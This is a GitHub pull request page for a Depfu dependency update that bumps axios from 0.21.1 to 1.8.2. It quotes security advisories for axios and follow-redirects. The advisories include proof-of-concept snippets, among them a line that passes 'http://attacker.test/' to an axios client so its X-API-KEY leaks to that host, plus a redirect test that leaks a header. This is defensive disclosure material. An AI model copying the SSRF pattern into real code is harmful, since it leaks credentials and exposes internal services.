Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. Weโ€™ll occasionally send you account related emails.

Already on GitHub? # to your account

๐Ÿšจ [security] Update axios 0.21.1 โ†’ 1.8.2 (major) #465

Closed
wants to merge 1 commit into from

Conversation

depfu[bot]
Copy link
Contributor

@depfu depfu bot commented Mar 7, 2025


Welcome to Depfu ๐Ÿ‘‹

This is one of the first three pull requests with dependency updates we've sent your way. We tried to start with a few easy patch-level updates. Hopefully your tests will pass and you can merge this pull request without too much risk. This should give you an idea how Depfu works in general.

After you merge your first pull request, we'll send you a few more. We'll never open more than seven PRs at the same time so you're not getting overwhelmed with updates.

Let us know if you have any questions. Thanks so much for giving Depfu a try!



๐Ÿšจ Your current dependencies have known security vulnerabilities ๐Ÿšจ

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

โœณ๏ธ axios (0.21.1 โ†’ 1.8.2) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: #6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if โ baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

๐Ÿšจ Server-Side Request Forgery in axios

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

๐Ÿšจ Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

๐Ÿšจ Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

๐Ÿšจ axios Inefficient Regular Expression Complexity vulnerability

axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ follow-redirects (indirect, 1.13.1 โ†’ 1.15.9) ยท Repo

Security Advisories ๐Ÿšจ

๐Ÿšจ follow-redirects' Proxy-Authorization header kept across hosts

When using axios, its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.

Steps To Reproduce & PoC

Test code:

const axios = require('axios');

axios.get('http://127.0.0.1:10081/', {
headers: {
'AuThorization': 'Rear Test',
'ProXy-AuthoriZation': 'Rear Test',
'coOkie': 't=1'
}
})
.then((response) => {
console.log(response);
})

When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.

Impact

This vulnerability may lead to credentials leak.

Recommendations

Remove proxy-authentication header during cross-domain redirect

Recommended Patch

follow-redirects/index.js:464

- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);
+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);

๐Ÿšจ Follow Redirects improperly handles URLs in the url.parse() function

Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.

๐Ÿšจ Exposure of Sensitive Information to an Unauthorized Actor in follow-redirects

Exposure of Sensitive Information to an Unauthorized Actor in NPM follow-redirects prior to 1.14.8.

๐Ÿšจ Exposure of sensitive information in follow-redirects

follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ function-bind (indirect, 1.1.1 โ†’ 1.1.2) ยท Repo ยท Changelog

Commits

See the full diff on Github. The new version differs by 26 commits:

โ†—๏ธ get-intrinsic (indirect, 1.0.1 โ†’ 1.3.0) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ has-symbols (indirect, 1.0.1 โ†’ 1.1.0) ยท Repo ยท Changelog

Release Notes

1.1.0 (from changelog)

Commits

  • [actions] update workflows 548c0bf
  • [actions] further shard; update action deps bec56bb
  • [meta] use npmignore to autogenerate an npmignore file ac81032
  • [New] add types 6469cbf
  • [actions] update rebase action to use reusable workflow 9c9d4d0
  • [Dev Deps] update eslint, @ljharb/eslint-config, aud, tape adb5887
  • [Dev Deps] update @ljharb/eslint-config, aud, tape 13ec198
  • [Dev Deps] update auto-changelog, core-js, tape 941be52
  • [Tests] replace aud with npm audit 74f49e9
  • [Dev Deps] update npmignore 9c0ac04
  • [Dev Deps] add missing peer dep 52337a5

1.0.3 (from changelog)

Commits

  • [actions] use node/install instead of node/run; use codecov action 518b28f
  • [meta] add bugs and homepage fields; reorder package.json c480b13
  • [actions] reuse common workflows 01d0ee0
  • [actions] update codecov uploader 6424ebe
  • [Dev Deps] update eslint, @ljharb/eslint-config, aud, auto-changelog, tape dfa7e7f
  • [Dev Deps] update eslint, @ljharb/eslint-config, safe-publish-latest, tape 0c8d436
  • [Dev Deps] update eslint, @ljharb/eslint-config, aud, tape 9026554
  • [readme] add actions and codecov badges eaa9682
  • [Dev Deps] update eslint, tape bc7a3ba
  • [Dev Deps] update eslint, auto-changelog 0ace00a
  • [meta] use prepublishOnly script for npm 7+ 093f72b
  • [Tests] test on all 16 minors 9b80d3d

1.0.2 (from changelog)

Fixed

  • [Fix] use a universal way to get the original Symbol #11

Commits

  • [Tests] migrate tests to Github Actions 90ae798
  • [meta] do not publish github action workflow files 29e60a1
  • [Tests] run nyc on all tests 8476b91
  • [readme] fix repo URLs, remove defunct badges 126288e
  • [Dev Deps] update eslint, @ljharb/eslint-config, aud, auto-changelog, core-js, get-own-property-symbols d84bdfa
  • [Tests] fix linting errors 0df3070
  • [actions] add "Allow Edits" workflow 1e6bc29
  • [Dev Deps] update eslint, @ljharb/eslint-config, tape 36cea2a
  • [Dev Deps] update eslint, @ljharb/eslint-config, aud, tape 1278338
  • [Dev Deps] update eslint, @ljharb/eslint-config, aud, tape 1493254
  • [Dev Deps] update eslint, @ljharb/eslint-config, core-js b090bf2
  • [actions] switch Automatic Rebase workflow to pull_request_target event 4addb7a
  • [Dev Deps] update auto-changelog, tape 81d0baf
  • [Dev Deps] update auto-changelog; add aud 1a4e561
  • [readme] remove unused testling URLs 3000941
  • [Tests] only audit prod deps 692e974
  • [Dev Deps] update @ljharb/eslint-config 51c946c

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 44 commits:

๐Ÿ†• call-bind-apply-helpers (added, 1.0.2)

๐Ÿ†• dunder-proto (added, 1.0.1)

๐Ÿ†• es-define-property (added, 1.0.1)

๐Ÿ†• es-errors (added, 1.3.0)

๐Ÿ†• es-object-atoms (added, 1.1.1)

๐Ÿ†• es-set-tostringtag (added, 2.1.0)

๐Ÿ†• get-proto (added, 1.0.1)

๐Ÿ†• gopd (added, 1.2.0)

๐Ÿ†• has-tostringtag (added, 1.0.2)

๐Ÿ†• hasown (added, 2.0.2)

๐Ÿ†• math-intrinsics (added, 1.1.0)

๐Ÿ†• proxy-from-env (added, 1.1.0)


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@โ€‹depfu rebase
Rebases against your default branch and redoes this update
@โ€‹depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@โ€‹depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@โ€‹depfu cancel merge
Cancels automatic merging of this PR
@โ€‹depfu close
Closes this PR and deletes the branch
@โ€‹depfu reopen
Restores the branch and reopens this PR (if it's closed)
@โ€‹depfu pause
Ignores all future updates for this dependency and closes this PR
@โ€‹depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@โ€‹depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot requested a review from YashTotale as a code owner March 7, 2025 16:14
@depfu depfu bot added the dependencies Update dependencies label Mar 7, 2025
Copy link

codeclimate bot commented Mar 7, 2025

Code Climate has analyzed commit 194b0bb and detected 0 issues on this pull request.

View more on Code Climate.

@YashTotale YashTotale closed this Mar 7, 2025
@depfu depfu bot deleted the depfu/update/npm/axios-1.8.2 branch March 7, 2025 17:28
# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
dependencies Update dependencies
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant